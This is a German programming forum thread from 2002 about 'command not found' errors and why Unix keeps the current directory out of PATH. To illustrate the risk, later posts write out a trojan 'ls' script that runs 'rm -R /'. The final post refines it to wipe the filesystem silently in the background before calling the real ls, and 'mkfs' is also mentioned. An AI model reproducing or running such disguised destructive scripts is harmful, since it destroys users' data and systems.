Herzlich Willkommen, lieber Gast!
  Sie befinden sich hier:

  Forum » Allgemeines (OffTopic) » command not found

Forum | Hilfe | Team | Links | Impressum | > Suche < | Mitglieder | Registrieren | Einloggen
  Quicklinks: MSDN-Online || STL || clib Reference Grundlagen || Literatur || E-Books || Zubehör || > F.A.Q. < || Downloads   

Autor Thread - Seiten: > 1 <
000
12.12.2002, 17:13 Uhr
~hzutr
Gast


habe mein c++ programm übersetzt und es zeigt keine Fehler mehr an.
Jetzt will ich das Programm starten da wird ausgegeben " command not found"
Ich gebe aber auch den richtige Dateinamen an. Was ist das? Dringend!
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
001
12.12.2002, 20:03 Uhr
FloSoft
Medialer Over-Flow
(Administrator)


Hallo, schau mal ob die Exe wirklich existiert!
Wenn dein Programm z.B. test.exe lautet, probier mal aus wenn du zum starten (im gleichen ordner)

.\test.exe

oder

./test.exe

eingibst...
--
class God : public ChuckNorris { };
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
002
13.12.2002, 09:30 Uhr
void*
Generic Pointer
(Operator)


Hallo!

Ich muss bei mir unter Linux auch immer
./befehl
machen.

Warum eigentlich? Sucht der Befehlszeilen-Interpreter nur in Verzeichnissen die in PATH o.ä. gesetzt sind und nicht im aktuellen, es sei denn man gibt ein Verzeichnis explizit an (z.B. ./)?
--
Gruß
void*
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
003
13.12.2002, 10:31 Uhr
virtual
Sexiest Bit alive
(Operator)


@void*
Ja, dem ist so; vor allem aus sicherheitsgründen (so daß nicht "zufällig" mal ein unerwünschtes Programm aufgerufen wird, weil du grade in einem bestimmten Verzeichnis bist). Wenn Du grundsätzlich auch die Dateien im akt. Verzeichis ausführen möchtest, dann schreibe in Dein Profile:

Code:
PATH=$PATH:.


oder - wenn Du mutig sein willst:

Code:
PATH=.:$PATH


--
Gruß, virtual
Quote of the Month
Ich eß' nur was ein Gesicht hat (Creme 21)
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
004
13.12.2002, 11:32 Uhr
~0xdeadbeef
Gast


Mutig sein wär da schön blöde. . ist nicht standardmäßig im PATH, damit keiner den root verarschen kann, mit so geschichten wie

#!/bin/sh
#dieses Skript heißt zum Beispiel ls
rm -R /
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
005
13.12.2002, 15:27 Uhr
FloSoft
Medialer Over-Flow
(Administrator)


ei ei ei

auf so ein Script bin ich noch gar nicht gekommen ...

rm -r /

ist

echt

böse

Wenn der arme Root dann ls im falschen verzeichnis eingibt ... wutsch weg ist alles

geht nicht auch

mkfs.ext2 /dev/hda1

oder solche aufrufe?
--
class God : public ChuckNorris { };
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
006
13.12.2002, 15:46 Uhr
virtual
Sexiest Bit alive
(Operator)


Für ein mkfs darf die Partition nicht gemounted sein.
Ich würde auch eher schreiben

Code:
#!/bin/sh
nohup rm -rf / >/dev/null 2>&1 &
/bin/ls $@


fällt nicht so dolle auf...
--
Gruß, virtual
Quote of the Month
Ich eß' nur was ein Gesicht hat (Creme 21)
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
Seiten: > 1 <     [ Allgemeines (OffTopic) ]  


ThWBoard 2.73 FloSoft-Edition
© by Paul Baecher & Felix Gonschorek (www.thwboard.de)

Anpassungen des Forums
© by Flo-Soft (www.flo-soft.de)

Sie sind Besucher: